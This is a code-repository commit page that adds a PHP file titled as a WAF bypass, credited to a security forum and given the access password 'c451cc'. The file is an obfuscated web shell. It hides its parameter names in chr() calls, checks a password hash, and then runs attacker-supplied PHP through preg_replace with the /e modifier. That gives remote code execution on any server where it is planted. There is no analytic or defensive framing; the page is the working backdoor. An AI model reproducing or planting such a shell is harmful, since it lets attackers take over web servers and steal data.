Create bypass-waf-2015-06-16-01.php

pass : c451cc from : zone.wooyun.org
Funhity · Jun 16, 2015 · 6c2b8ab · 6c2b8ab
1 parent bdaf245
commit 6c2b8ab
Showing 1 changed file with 21 additions and 0 deletions.
diff --git a/php/bypass-waf-2015-06-16-01.php b/php/bypass-waf-2015-06-16-01.php
@@ -0,0 +1,21 @@
+<?php 
+function getMd5($md5 = null) { 
+    $key = substr(md5($md5),26); 
+    return $key; } 
+    $array = array( 
+      chr(112).chr(97).chr(115).chr(115), 
+      chr(99).chr(104).chr(101).chr(99).chr(107), 
+      chr(99).chr(52).chr(53).chr(49).chr(99).chr(99) 
+    ); 
+    if ( isset($_POST) ) $request = &$_POST; 
+    elseif ( isset($_REQUEST) )  $request = &$_REQUEST; 
+    if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) { 
+      if ( getMd5($request[$array[0]]) == $array[2] ) { 
+        $token = preg_replace ( 
+        chr(47) . $array[2] . chr(47) . chr(101), 
+        $request[$array[1]], 
+        $array[2] 
+      ); 
+    } 
+} 
+?>